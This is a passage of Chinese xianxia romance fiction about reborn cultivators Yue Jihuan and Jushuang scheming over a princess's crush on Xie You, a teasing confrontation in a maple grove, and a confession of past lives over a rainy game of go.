柳扶荔轻摇折扇,摆得一副翩翩公子的温润模样:“不。”
“……”
岳寄欢微笑:“我不想说了。”
柳扶荔:“你想。”
岳寄欢冷冰冰:“不想。”
柳扶荔:“你想说的。”
岳寄欢伸手拎过柳扶荔捏着的折扇,轻摇两下,眼尾上挑,摆足一副千金贵女的模样,施舍般吐出一个字:“不。”
柳扶荔:“……”
今日是天场大比第二日,单若水也在今日参加,柳扶荔便同岳寄欢一道来看她比试,宋折镜其实也来了,不过是去找了谢忧,没和岳寄欢他们在一起。
这两日的天场人实在多,且不说凌云宗外的大昭和段家姐妹,叶苍灵等人;宗门内许多人都在,岳寄欢相熟的人几乎都来了,简林杜一帜,拒霜,高弄舒,湛家兄妹和燕须霁。
还有萧乐恣。
这姑娘入了宗门也是一副精致矜贵的模样,金线霞衣,簪珠步摇,只不过衣服做了改良,看着清爽利捷许多。仙都各宗并不强制弟子日日身着弟子服,无非是大典之类的时候需穿着,其余时候各宗门弟子带好身上象征自己宗门的信物便好。
且不说参加大比需佩戴好信物,名册是一早记录好的。
门外,大昭和叶苍灵参与了此次大比;门内,岳寄欢相熟之人中,只知她师姐单若水和杜一帜,同萧乐恣燕须霁参与了。
至于不参加的人中,简林来是负责大比记录;高弄舒纯粹因为单若水和杜一帜参加了才来;柳扶荔闲不住,哪里热闹哪里挤;宋折镜和谢忧这对狐朋狗友凑在一起不知说些什么;岳寄欢和拒霜同萧乐恣有事要谈,当然,要谈的事情就是这姑娘此前拜托她二人的那件。
一直等到下午些许,天场内人声鼎沸,热闹非凡。岳寄欢同柳扶荔本是待在枫树下瞧比试,不料拒霜已然走过来,喊了声“柳师兄好”,就拉着岳寄欢直接离开。
岳寄欢跟在她身后,懒洋洋打了个哈欠:“怎的了?”
拒霜没回头,带着她一路往天场深处的花林里走,调侃道:“带你故地重游。”
“……”
这样的日子连接在秋与冬的交界,枫叶飒飒,火红如瀑,花林内满是大片大片的红枫黄杏,一时迷离了岳寄欢的视线。继续往前走,有太阳光稀落地从叶缝里淌下,粘稠地挂在往花林深处走的二人身上,像挂了一层半透明的蜜糖霜。
拒霜推开了花林深处的雅屋,冲里面的人道:“久等了。”
闻言,正坐在屋中执杯啜茶的少女半搁着茶杯,朝来人抬起了眼。
萧乐恣颔首:“请坐。”她微抬起下巴,“这茶是我极喜欢的,尝尝吧。”
岳寄欢同拒霜一道坐在屋内小凳上,眼前冒着袅袅白雾茶熏得她眼睛有些干涩,连带着口中也涩起来,听萧乐恣这么讲,她便抬杯啜了一口面前的茶,很香,是极好的蒙顶甘露。
萧乐恣也没讲废话,等着岳寄欢和拒霜二人落坐品茶后,便道:“他喜欢吃些什么?”
岳寄欢搁下茶杯,淡声道:“甜食。”
萧乐恣:“甜食?”
岳寄欢:“桂花酪,荔枝酥山,冷花茶。”
萧乐恣眉眼微抬:“没了?”
岳寄欢:“没了。”
岳寄欢声音极淡,几乎要随着茶雾淡化在这方浅薄的空气里。她正视着面前神色疑虑不定的萧乐恣,眼中的情绪淡得像一汪凉水:“若是没有别的事,我们便先走了。”
萧乐恣道:“等等。”
岳寄欢止住了起身的动作:“怎么?”
她微微低头看向坐在椅上神情清贵高傲的少女,或许是因着刚比试完没多久的缘故,这姑娘身上料子极好的衣裳有着被剑刮破的痕迹,手背上也留着几道不深不浅的红血印。
对方指尖微微发抖,却一直捏着天青瓷茶杯,茶水在杯中晃荡出一弯清浅的亮色。
萧乐恣缓缓把茶杯彻底搁下,指尖将桌上一盒瞧着就颇沉甸甸的暗色木盒往岳寄欢她们这边推了推:“酬金。”
岳寄欢漂亮的眼珠盯着这木盒转了两圈,没说话。
奇怪的是,前段日子还一副见钱眼开,势要用金钱来把自己身上那股子清雅孤傲之气冲散的拒霜也没动。
果不其然,她二人不过瞧着愣神功夫,萧乐恣却又道:“这就当是你二人知晓我关乎他一事的密赠。”她唇角微压,眼睛却挑起一抹讥讽的笑意,“我前些日子同青鸾宫的人交谈了些许,谢师兄他,应当是不爱吃甜食的。”这声音是极好听的,说出的却让人听了不舒心。
言外之意,那便是指岳寄欢同拒霜骗她了。
空气中漂流着一阵淡淡茶香。
闻言,拒霜眉眼间酿起一抹不悦的神色。
岳寄欢却是笑笑,回身撑桌:“既不信,你还来找我们做什么?我当真是昏了头,做了错事,会因着些身外之物来卖了那姓谢的,当真教我成了个背信弃义之人。”
萧乐恣垂着眼:“他毕竟是青鸾宫的少主。”
那青鸾宫的人值得信任,同门就不值得了吗?
岳寄欢冷笑:“随你,只是你不必用这般手段来羞辱我。今日一事,我会向他道歉。”
萧乐恣眯了眯眼:“你要向他告我的状?”
拒霜插话进来,反唇相讥:“又不是小孩子了,何来告状一说。”她秀眉微挑,“再说同他告状又有何用,在人间你是名扬上京的郡主,可这是在仙都,实力为上。
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”
拒霜的唇角勾了勾,划出一弯危险的微笑:“仰慕他的人那么多,他连你是谁都不会知道。”
这话像是一下子刺中萧乐恣的神经,激得她浑身一颤。
“你!”她面色微怒,猛地从软椅上站起,攥着裙摆跺了跺脚,“你胡说!”
拒霜轻哼一声:“你急什么,你既不相信我二人,又何必在意我们说的话。”
“……”
僵持间,岳寄欢已然走到了雅屋门口,她微微侧头喊了拒霜一声:“走了。”
雅屋的竹门被岳寄欢缓慢推开,门外红得扎眼的枫叶随着风飘进屋内,连带着多束微阳一并投进雅屋平坦的地上,斜出几道光束。
这光束停到萧乐恣跟前,她下意识抬起了头,像一只高傲的鸾凤倔强地挺直身体,即使在仙都,她还是那个上京城最显赫肆意的昭怡郡主。
风很轻很轻地刮动着。
隔着这样不算刺眼的淡阳,岳寄欢站在门口微微偏头,光线描绘出她侧脸身形,衬着身前明丽的秋色,像一副用金线绣好的风景图,一并拢在这样温柔漂亮的光影里。
拒霜先她一步,走进了浓浓秋光中。
岳寄欢倚着门,望着屋内愠怒未退的萧乐恣,脸上又重新挂回自己最擅长的那副温和微笑,轻声细语:“对了,提醒你一句。”她脸颊边勾出两个浅浅的梨涡,酿着一潭光,显得天真又单纯。
这语气虽轻,却莫名如薄刀藏线,无端令这位昭怡郡主生出几分秋凉的实感。
萧乐恣瞳孔一缩。
岳寄欢懒散支直身,顺手替对方轻掩上雅屋的小门。
人是走远了。
不过她声音缠风,又清又透,像碎冰叮铃,沿着门缝流进屋内。
“谢忧不喜蒙顶甘露,你既这么喜欢他,那此后便弃了这茶吧。”她道。
……
“你真要去和那位谢师兄道歉?”
“再看吧。”
“那你……”
“她既不信,说了便同没说一样。”
岳寄欢穿梭在红枫树间:“不过此仇算是结下了。”
拒霜微微一笑:“你的目的不也达到了吗?”
“你同我可是站在一条绳子上的蚂蚱。”岳寄欢揶揄道,“本没想着借萧乐恣之手回京城,没想到她自个儿送上门来了。”
拒霜:“也还有整整四年的时间。”
岳寄欢:“现在刚刚好。”她迎着风,撩了撩被风吹起的额发,“正合你意。”
拒霜戳了戳她手臂:“不太对,我瞧着也挺合你意的。”
她二人徐徐往花林出口走去,一绿一紫,像生在丛丛红枫里的两株莲。半盏茶的时间,花林那个很好认的拐角就在前方,拒霜加快了步子,心情很愉悦地往外走。
她再次比岳寄欢先一步,拐过花林。
“今日激了她,那到时候我们——”拒霜的声音戛然而止。
“怎的了?”岳寄欢从她身后绕过来,玩笑道,“枫叶这么乱心?不仅迷了你的眼,还走不动路说不了话了?”
一连串的疑问落下,岳寄欢走到了拒霜身侧。
前方是花林出口。
抬眼望去那出口处,有一人正闲闲低坐在枫树枝桠上,落到被枫叶染红的水光里。
青色的衣摆服帖搭垂在枝桠上,随风微微抖动。
岳寄欢一怔,下意识掠了眼这人的腹部。
完好的,没有殷红透衣的血色。
泠泠如清泉碎玉的声音却忽地响起,打断了她的思绪。
“岳师妹又去花林做什么去呢?”谢忧指尖挑着一支枫枝转动,语调懒散,“你似乎,很喜欢天场花林啊。”
38. 丁香结(八)
“我瞧谢师兄也挺喜欢花林的。”岳寄欢唇角微压,“不然我也不会在这里遇见你。”
谢忧道:“碰巧来找个人,又恰好遇到你们。”他慢条斯理地从树上跳下,“岳师妹呢?”
岳寄欢扯了扯身侧拒霜的衣袖:“我同拒霜来花林瞧瞧红枫。”
拒霜很配合:“是。”
谢忧笑笑,“啊”了一声:“我还以为你也是来找人的呢。”
“没有。”岳寄欢装作听不懂。她的眼神在谢忧腹部短暂地停留了片刻,又缓慢地把视线移到谢忧头顶那丛茂密的红枫上,眨眨眼不再说话。
她拉着拒霜衣袖,步子往旁边挪动,想要越过谢忧走出花林。
拒霜不大清楚他二人之间细节事情,见这样,也就懒懒散散地任由岳寄欢拽着她往外走。
马上擦过谢忧身侧,就要走出花林。
一只挂着火红枫树叶的细枝条却突然从岳寄欢身前迅速旋转飞过,直直插进了岳寄欢左侧的花林高墙,墙上显露出几缕分明的罅隙。
岳寄欢眉目一凛,下意识往后退了两步。
拒霜蹙起了眉。
谢忧依旧像个没事人一样,只是不经心地问:“岳师妹,利用完我就想走?”
此话一出,岳寄欢二人皆是愣住了。
她道:“谢师兄什么意思?”
谢忧面无表情地舔了舔牙尖:“你说什么意思?”
瞒不住了。
岳寄欢抿着唇,转头对着身侧的拒霜道:“你先走。”
“那你……”拒霜难得迟疑了一下,她刚想开口说话,谢忧却道:“简林找你有事。”
拒霜听着谢忧这话,一时难以抉择,她抬眼又瞥到岳寄欢这张没什么情绪波动的脸,心里了然:谢忧不会对她怎么样的。
她松了口气:“那我先走了。”
急急往外走出几步,拒霜却又像是想到什么般回头,对上岳寄欢剔透的眼,故意喊了声:“快些,我在扶摇殿旁等你。”
岳寄欢朝她轻轻点头,见拒霜的身影已经完完全全消失在花林口,她道:“你偷听我们说话?”
谢忧眉眼微抬,眼神复杂,看着岳寄欢像是在看什么傻子:“雅屋不过三两绿竹围成,你们的声音又不算小,还没用隔音符。”他微妙一顿,似乎是有些无辜,“只要入了这花林两步,想不听见也难。”
“……”
岳寄欢被他这解释呛得一哽。
她方才进雅屋之时没注意萧乐恣这姑娘在这种人来人往的地方,找人谈话竟未设隔音屏障。
沉默两秒,岳寄欢很费力地开口:“都听见了?”
谢忧应了声,很坦荡:“是。”
岳寄欢试图转移他的注意:“你方才说,你要来花林找什么人?找到了吗?”
她实在想让这人找到就赶紧走,能走多远就走多远,干脆困在这花林里也好。
“这么关心我吗?还管我找什么人。”谢忧意味深长地说,“找到了。”
岳寄欢嘴比脑子快:“谁?”
她说完自己都怔愣了一会儿,有些懊恼的神情自脸上一闪而过,平添几分惆怅。
谢忧看着她,顺着她的话往下接:“这是我的私事,我为什么要和你说?”
他没错过对方脸上那点一晃而过的懊恼神情,岳寄欢在他面前情绪一直淡得很,如今看她这样,谢忧心里无端生出点微妙的感觉。
“罢了。”岳寄欢又说,“有话直说吧。”
话落,面前的人忽地往前走了几步,离她近了些,这样瞧着亲昵的距离近到岳寄欢似乎能感受到对方说话时呼吸喷洒的温度,她定定站在了原地,不知道为什么,身体不抗拒,一时没有再往后退。
谢忧长睫一扫,低头瞧见岳寄欢滞在原地,眼中浮起些浅淡的意外。
他的身形比岳寄欢要高上好些,低头望着对方时,能清晰的看清岳寄欢脸上的所有,微妙表情,一颦一笑,乃至一颗落在额边的小痣。
其实岳寄欢的个子在同龄姑娘中已经算得很高了,如今才及笄身形便显出几分高挑之意,她脊背挺得又直,眼神滑回脸上,眉眼间无时无刻萦绕着一缕冷淡散漫的笑意。
不过从谢忧的角度看,微微俯视的姿态,低头望去,岳寄欢身上的冷漠气息就要淡上许多,而是增添出一点独属于这个年龄的灵俏感。
谢忧顿了顿,身子往后倾了点,好笑地道:“我说?你不应该同我解释一下。”他的视线慢慢掠过岳寄欢的脸,语调故作温和,“我在岳师妹手里,当真是一把极好用的剑。”
岳寄欢被这阵说不出感觉的视线看的浑身难受,她闭了闭眼:“抱歉?”
谢忧嗤笑道:“没诚意。”
“原先同你已经没什么好欠的了。”谢忧抬起眼,不再去看岳寄欢,“只是今日过后,你倒是反欠我一桩人情。”
岳寄欢站在他身前,没说话。因着方才谢忧故意靠近她的缘故,这狗东西现在离她实在不算远,岳寄欢能够清晰地看清他青衣上细细勾勒的金丝神鸟,看清对方那前世那处被她捅得血肉模糊的地方——
又奇怪又烦,今日已经不知道看了几遍了,忍不住一遍又一遍地去反复看,那里是完好的,没有刺着她手中滑出的利剑。
她再次摸了摸自己琵琶骨的位置。
这里,同样不痛了,没有断水剑贯穿的痕迹,光滑平整的皮肤贴合地裹在衣裳里,疤痕消失得一干二净。
谢忧见她拧着眉愣神,又莫名其妙地去摸自己的肩骨。他往后退了几步,和岳寄欢拉开了距离:“怎么了,旧伤?”
岳寄欢慢吞吞放下手:“没有。”
谢忧转而顺着岳寄欢方才的动作看了眼她琵琶骨的位置,眼睛眯了眯。
有点,奇怪的熟悉感。
这种莫名其妙的神思忽然一发不可收拾地在他脑海里乱窜,谢忧有些烦躁地啧了一声,却听岳寄欢轻飘飘的声音:“那就欠着吧。”
思绪被拉回,谢忧简直快被她气笑了:“欠着?你拿我换钱当剑使,人情还欠着。”
岳寄欢撩撩眼皮,温温柔柔地笑:“没收钱呢。”
谢忧压着火气:“你这么缺灵石用?”
“还欠执事堂一万灵石,问肃堂五千。”岳寄欢有点悲戚,“还不完了。”
“……”
听不出来究竟什么意思,谢忧嘴唇张合了两下,喉咙里硬生生挤出一种,憋着怒意的无奈冷笑:“那我还真是值钱,值得你拿我去换。”
岳寄欢:“……”不是说了没收呢。
被正主抓个正着,岳寄欢有口也狡辩不清,她今日瞧着谢忧站在青鸾宫那群可可爱爱的小姑娘堆里,身旁还有个宋折镜,再无论如何也是绝对抽不出身在这天场里闲逛的——
她正正好好被抓了个现行,碰上谢忧这个黑吃黑的,同她做贼遇到个劫路的没什么两样。
心思转圜间,岳寄欢正想着寻个什么理由来打发了谢忧。要是放在从前,她绝对不会花这样的耐心在对方身上,当然,对方也不会这样堵着她半天,动口不动手。
上一世若是这般,他二人已经打得不可开交,花林怕是都要被毁掉大半。
而现如今,那个开启他们两看生厌的契机,早就消失在了两年前的羡水城里。
至少这辈子的恨,没有上一世积攒的那么多了。
这样朦胧的恨意短暂地缠在了岳寄欢眼前,恍惚间,面前的青衣身影,似乎又靠她近了些。
她惊悚道:“你又要干什么?!我还还不行吗?你——”
下脸颊蓦地被冰凉的掌心捂住,对方力气太大,她一时挣脱不开,手腕一转,灵力萦绕在指尖,下一秒就要用到面前这人的身上。
谢忧却有些强硬地捏着她肩膀,将她调转了一个方向,面朝花林里,让她大半个人拢在自己的身形之下。
这样看起来很近的距离实际上离得很远,两人间还隔出一条能站两个人的空隙。
不过岳寄欢还是被他这样的举动惹得怒火中烧,绯红色躁异地蔓延上她的脸颊脖颈。
谢忧稍微倾身,低下头擦着她耳边,轻声道:“还人情的时候来了。”他声音听着很愉悦的模样,带着些许顽劣至极的情绪。
这样子熟悉又陌生的语气,岳寄欢心中顿感不妙,她眉心一跳,在谢忧的钳制下有些费力地偏头,一眼就对上站在花林前方,眼眶湿红,揪着衣袖颤抖愤怒的萧乐恣。
“……”
不
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要脸的狗东西我杀了你!
她无声的在心里怒骂起来,谢忧似乎知道她心里在想什么,很有兴趣地盯着她闷笑。岳寄欢就是不用脑子也想得到,从萧乐恣的视线看来,她几乎是被谢忧亲昵而暧昧的拢在怀里了。
谢忧还在她耳边笑个不停:“行了岳师妹,这个人情我就当你还完了。”
岳寄欢:“……”就知道这种狗东西心里憋不出什么好屁来。
她略微绝望地挪开了对着萧乐恣的视线,谢忧力气大得她实在动不了,对方似乎提前在她身上下了禁制,灵力使不出半分一点。
实在不是她打不过谢忧,只是之前兰谣倾幻境一事伤她极重,丹田似乎都受了影响,恢复速度便慢下好多。况且这一世她不过习法术灵力二载,天赋再高,现如今终究比不过谢忧这种从娘胎里就习剑吞灵的天才。
上一世岳寄欢同谢忧比试经常平手,真正打赢对方那也是待她在仙都生活了数年,灵力终于蕴存到和谢忧旗鼓相当的时候,总之不是现在。
于是如今不过及笄,只能被这厮追着戏弄。
眼前的萧乐恣离得愈发近,愈发清晰明了,岳寄欢能感受到对方朝自己袭来的不可置信和不甘心,紧接而来,她的肩膀被有意无意的一撞,连带着谢忧也挑着眉往旁边晃了几步。
气冲冲的身影逃一样离开了花林。
岳寄欢侧眸瞄了眼肩膀,这撞到身上疼是不疼的,对方也没用多大气力,只是纯粹气不过,冲昏头脑,一股子怒气冲冲的吃醋小女孩儿劲。毕竟刚刚看不惯的人突然变成了情敌,压根想不到,便也不管对方究竟是谁,单纯发泄。
岳寄欢还是被这股不算大的力气撞得趔趄了两步,谢忧因着箍着她的缘故,不知为何,竟也随她动作踉跄,一时间,方才实际上离得很远的距离,忽然变近了。
身上那股沉重禁锢卸掉,岳寄欢躲鬼一样往后一退,而后想都没想,抬手就往谢忧脸上甩。
这个看着很急很气的耳光,终究是在谢忧侧脸上方一些的位置停住了。
谢忧长睫一敛,抬起眼似笑非笑地看着她。
想象中带着疼痛的耳光并没有落到脸上,取而代之的是一阵极其淡的香气,像是很凉的雪香混杂着一缕冷梅味道,丝丝缕缕地落到谢忧呼吸间,沾染上他半边衣裳。
他一时,不自觉地滞住了呼吸。
“你们在干什么?”
这场诡异而暧昧的对峙终究断在了一声疑惑冷漠的质问里,岳寄欢僵硬地偏了偏头,重新对上宋折镜那双冷淡剔透的双眼,视线一转,又对上一旁以扇掩面,摆足一副优雅做派,实则一看就是在憋笑的柳扶荔。
二人身后,还站着方才说好在扶摇殿旁等她的拒霜。
或许是对面几人的眼神太过讶异和奇怪,迷迷糊糊散发着一种“原来你们是这种关系”的拱火气氛,岳寄欢莫名其妙有种偷情被抓的错觉,诡异得她浑身发毛。
片刻后,柳扶荔与宋折镜暂且缓和了面色,但他二人身后的拒霜,脸色依然诡谲不已。
这是岳寄欢第一次在这位遇事波澜不惊的病美人脸上看到这样略微茫然不解,同时又带着点戏谑意外的表情。
岳寄欢:“……”
姓谢的你找死。
她赶忙放下悬在谢忧脸上的手,很乖巧地眨眨眼,硬着头皮喊道:“师兄。”她顿了顿,咬牙切齿,“小霜。”
拒霜意味深长地应了她一声。
“……”
拒霜这姑娘今日没吃药?瞎起什么哄。
岳寄欢面如死灰,一旁如同没事人一样的谢忧已然抽身,朝花林口站着的三人微微颔首示意,直接迈步往外走去。
他一路越过岳寄欢和宋折镜几人,走到了花林口。
岳寄欢脸上的笑终于挂不住了,她松口气,笑容一点点崩塌,试图使自己的表情看上去自然温和一些。
如果谢忧那狗东西没停下往外走的步伐的话。
岳寄欢的心脏又猛然一下被捏起。
天色顺着时间黯淡下来,天空泛滥着浓紫淡红的彩,偶尔有几尾飞逝的坠星。花林口顿住脚步的谢忧没转身,却是一偏头,坏笑一声:“岳师妹,下次少欠点我的人情,不然很难还的,嗯?”
39. 丁香结(九)
“你们不熟?”
“嗯。”
“那你要打他做什么?”
“他一个浪荡子,我还打不得了?”
拒霜“噗嗤”挤出两声笑:“我瞧着你也没下手。”
“若是你们不来,”岳寄欢一顿,“说不定。”
屋外天黑,屋内灯火葳蕤,略微潮湿的空气中流淌着几缕冷梅花香。隔着摇摆不定的昏黄烛火,眼前的拒霜褪去了两分病恹恹的脆弱之感,脸庞被烛光勾勒出浅一道深一道的阴影,下巴还是尖尖的,柔和明丽。相比与两年前的初见,她的五官也愈发长开,时至今日,原本就不多的稚气更是消散得一干二净。
岳寄欢又点了一盏烛火,试图让屋内更亮一些:“你说,他会不会听出来我们要去上京城,是什么意思?”
拒霜的眉眼在不断燃起的灯火下更清晰了:“这话应当问你自己,我又同他不熟悉。”
“你,上一世真的没有见过他?”岳寄欢有些迟疑地问。
拒霜睨她:“我只眼熟你一个。”
“……”
半月前,仙礼过后的第三日晚上,岳寄欢去了一趟天星观。
在天星观高阁见到拒霜的第一眼,她直截了当:“答应萧乐恣的理由。”
彼时拒霜正好习完心法,拎了杯葡萄春坐在天星高阁上吹风。
秋风拂拂,迎面刮来的风不算多凉,却也不热。
拒霜没看岳寄欢,她懒洋洋倚坐在阁边,低头抿酒:“不是说了吗,没灵石花了。”
“不信。”岳寄欢轻哼一声,反问她,“这个理由,你自己说出口的时候想不想笑?”
拒霜:“……”
她险些把喝了一半的酒喷出口,冷酒滚在喉咙里上下翻腾,最后还是咽了下去:“我不确定我们的目的是不是一样的。”
不是,那便死也不能说。
话落,拒霜将杯中剩酒尽数甩进身后的池水中,高阁之下圈着一弯水潭,潭中激荡起飘飘洒洒的水珠,水珠窸窣拍打在水面里,连同酒香泛开细密涟漪。
她从阁边撑起身跳下,抬眼看向来人。
眼前的少女虽才及笄,最喜欢挂着一副亲和笑意的脸上却丝毫不见稚气懵懂,眼眸冷淡。不过相比与初见之时,岳寄欢这两年情绪明显轻快生动了许多,眼睛里总是含着两分乐意。
拒霜盯着她的眼睛,一字一句:“所有,我都不确定。”
“那是你。”岳寄欢说,“现在,我只有一件事情要确定。”
“什么?”拒霜心中一动。
飒飒冷风,岳寄欢被这秋风凉夜吹得一哆嗦,头顶上随风发出“簌簌”声的红枫大片大片摇动,有一片残缺的叶子明晃晃地从她眼前坠落,对着红枫的缺口望见拒霜,她听见自己平静的声音:“你此前去幻境里要找的,是不是圆月草?”
除去迷雾林那一株变种的圆月草,另一株,就种在上京城里。变种后的圆月草,能使已死之人骨肉不腐而魂不散。
不论生死,对于数年后妖仙混战的玄意,至关重要。
拒霜的视线被这残枫隔绝,火红拼凑黑天,很久很久以后,她很轻地回答了两个问题:“是。我要借萧乐恣之手,等一个回上京的契机。”
这样的回答是意料之内。
拒霜捏紧小瓷窑杯,又问:“什么时候察觉的?”
岳寄欢阖着眼睫,看不清眼中的神情:“两年前,扶摇殿拜师那天。”
明显能感觉到站得离自己稍有距离的人神情一僵,没了动作。头顶的红枫还在掉落不停,一片一片吻在地上,亲在岳寄欢肩头,红殷殷,衬得她脸色都倒出两分红润。
拒霜缓慢地往前挪动了两步,站到岳寄欢身前,伸手把她肩头落叶扫落,而后道:“回阁里说。”
冷秋多雨,淅淅沥沥下了大半夜,岳寄欢和拒霜坐在天星观的南屏阁水亭里一人一方,白棋黑棋,连同这匆凉荒谬的雨夜,雨落棋落,在棋盘上拼凑出一场寒透骨髓的秋天。
拒霜拈着棋子,淡淡道:“你既然也记得从前,那我们也算,别来无恙。”
闻言,岳寄欢有些不解地抬眼看她,她懂得拒霜知晓她也是重生之人的意思,可没懂这句“别来无恙”从何而来,虽已知晓拒霜也是重生之人,可她上一世的记忆里,并没有对方的存在。
拒霜似乎是看出她的疑惑,在木桌上一盏发出爆裂响声的灯花中,她很轻地笑笑,继续在棋盘上落着子:“上一世瑶灯节大选,我见过你。”
岳寄欢一愣:“那你……”
拒霜回答了她未说完的话,语气模糊:“那个时候,我只是身无灵根的凡人而已。”
岳寄欢了然。
怪不得系统会说拒霜是作为补全上京城大选中那个作为填补她的“异行灵根”的缺口。
上一世是身无灵根之人,那这一世为了补上这个世界漏洞,拒霜自然而然地成为了被世界挑中的“幸运儿”,拥有了冰灵根。
只是这样的原因,岳寄欢断然不能讲给拒霜听。
好在拒霜本人也不是很在意此事的根源:“不论如何,这一世刚刚好,有了灵根,做事也方便许多。”
岳寄欢回忆了片刻:“那这一世,为什么一开始要执着拜师师尊?”
亭外雨声鸣鸣,砸到青石台阶,砸到花瓣落叶,水珠涟涟。拒霜侧头看了这天上连珠串的雨,有些出神:“或许是,为了报恩吧。”
“这个理由听着还挺老套的?”拒霜嘲弄一笑,“不过若是没有,师叔。我九岁那年就死掉了。”
她好像想起什么很值得回忆的事情,脸上浮现出一种几近眷恋却又痛苦的神态,指尖棋子“啪嗒”一声掉在倒映雨夜的亮木桌上,骨骨碌碌旋转两圈,拒霜的记忆融合在这道清脆里,混乱乱的:“九岁那年贪玩,一个人跑去了城郊桃花林疯玩一天,后来睡着了,昏昏沉沉地睡到了晚上,等到回府的时候,地上全是血,一个人都没有,院子中间站着只妖,手里掐着婢女软绵绵的脖子。”
岳寄欢静静听着,帮她把没说完的话补上:“那妖要杀你,师尊救下了你,还把妖杀了。”
拒霜同样平静:“不太对,他是救下了我,不过那妖,是我亲手杀的。”她脸上显露出几分天真的残忍,“这一世醒的时间晚了些,两年前在西界找到了那恶妖,将它折磨了一顿,魂散了。”
岳寄欢心中一惊,话在口里吞吐半天,最后又想想拒霜现在这般性子,也只得附和安慰她:“若是我,我也会如此。”
或许是亭外的细雨绵绵不绝,或许是落叶簌簌,棋盘上的棋子当啷。周遭都是安静的声音了,沉默擦着这股凉意一阵,拒霜方才喝下去的酒像是发挥了作用,她倒豆子一样哗啦啦说个不停:“瑶灯节大选,那年去了凌云宗的人不多,我记得你。再后来,我找人多方打听,果不其然,你成了师叔的弟子。”
她扶着额,昏沉沉地甩甩头:“后来,你们总会来上京,我见过你太多太多次,太羡慕你。在这些时候,我偶尔会见到师叔,隔得太远,他或许早就不记得我是谁了,大概,大概只记得某一年,他在人间救过一个小孩,给了她钱和食物,重新安顿好她才离开上京。”
岳寄欢抿着唇:“他会记得你的。”
拒霜趴在桌上懒懒散散地笑了笑,因着醉酒的缘故,脸上显出极其难见的娇俏可爱,语气沉下来:“不过之后,我听说他死了。”
岳寄欢轻声道:“是,死在那场妖仙混乱里。”
拒霜托着下巴,清醒了一点:“那时我的命也走到了终
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点,我很想去一趟仙都,不过那是根本不可能的事情,此后,我再不知道了。”她忽然沉默下来,突兀地问了句,“你呢?”
岳寄欢很坦然:“多活了一段时间,三界大乱,被人弄死了。”
拒霜埋下头,发丝遮住了她的脸,使得她姣好的面容完全遮盖在散披的乌发之下,声音越来越小,接近呢喃:“我还以为你这样的人,不会死……”
亭外雨落渐小,岳寄欢阖上眼睛,很想很想湿透在雨中:“师尊那样的人都在这世间里留不住,我又能多活到什么时候。”她停顿片刻,“不过那是上一世。”
这句话太轻飘飘,落在风吹雨下的天里,漂浮到云里。
对面的拒霜已经困倦而疲惫地倒在桌上,棋盘被她的动作弄晃了大半,盘上下了一半的棋子混乱起来,散散落落的摆。
岳寄欢看着她睡倒的身影,偏了偏头,出口的话不知道说给谁听:“这一世,我不会让他死的。”
她说:“你也不会。”
天色黑浓,敲打在青石台阶和落花枝桠上的雨滴声逐渐消散,鼻息间流淌着淡薄的酒香气,对面是喝醉了沉沉睡去的拒霜,亭外,寂静的空气里发出一声清脆的“咔嚓”声。
那丛离粗大树干太远太远,开的太茂盛橘红的红枫枝桠终究是抵不住连绵袭来的秋雨,在这样一个风雨剩下的平静夜晚,大半断下,扑朔着落到了地上,浸湿在融融红色水光里。
实在是,很像一潭搅动的血。
岳寄欢是被窗外枫叶枝桠断在地上发出的“噼里啪啦”声惊醒的。
今夜断断续续下了点潮湿的冬雨,窗外枯枯掉色的枫树被猛烈雨水袭来不及,左一折右一折地断在了地上。天色已晚,方才胡乱聊了两句,拒霜早已在雨下之前离开了阁内,岳寄欢也不知自己是怎么倒在桌上迷迷糊糊睡着的,耳边雨声渐停,只留有烛火燃尽的灯花熄灭闷响,忽明忽灭,眼前闪过黑暗又明亮的光。
岳寄欢揉了两下眼睛,起身要去将低低斜开的窗子关紧,窗外流进的风太凉,凉得她皮肉连同骨髓都在发颤,衣裳被风刮起褶皱。
她伸出手,指尖碰上窗。
一阵带着冷雨夜味道的凉风,倏尔亲昵蹭上她手背。
岳寄欢撩起眼皮,止住了把这雕花薄窗往里拉的动作,掌心一顿,将窗子猛然往外推,眼中含着黑夜里雨过月出的光景,她挑起剑飞身而出。
困倦消散殆尽。
跟在这道熟悉的身影后面,不远处是灵苑挂着绿藤的边墙,岳寄欢握着剑,没有犹豫,青岚剑直直向面前的人刺去。
身前传来一阵飘忽的幽兰香气,身后的衣裳被风吹得凌乱,香气裹挟冷风,彻彻底底钻进岳寄欢的身体,激得她明目清醒,看清楚了眼前被剑穿心的身影。
雪青紫嵌合在绿意泛滥的树藤里。
脊背抵着冰凉凉的墙。
兰谣倾并不感觉到疼痛,他低下头,望着面前杀意浓郁的少女,顺势将眼神落到了心口处将他捅了个对穿的剑上。
华贵的衣料上晕染开一片黑红的血滩。
他无所谓地歪头笑笑,迎着岳寄欢愈发冷下去的目光,伸手将刺穿心口的剑一点点抽离出。
雨完全停了。
兰谣倾心口空洞洞的地方依旧淌着血,掌心也被剑锋划破,黏黏稠稠地落到潮湿的地上。
他用带着血的手,一把将岳寄欢拉到身前,低头缱绻柔和地去看她。
只是这样温柔的眼睛,并不能冲刷掉他骨子里的恶劣乐趣。
耳边扫过温热的呼吸。
张口痴缠。
“还是什么都不记得,忘得一干二净。”兰谣倾懒洋洋靠在墙上,揽着怀里的人,语调轻快,“就连我死不掉这一点,也忘了啊。”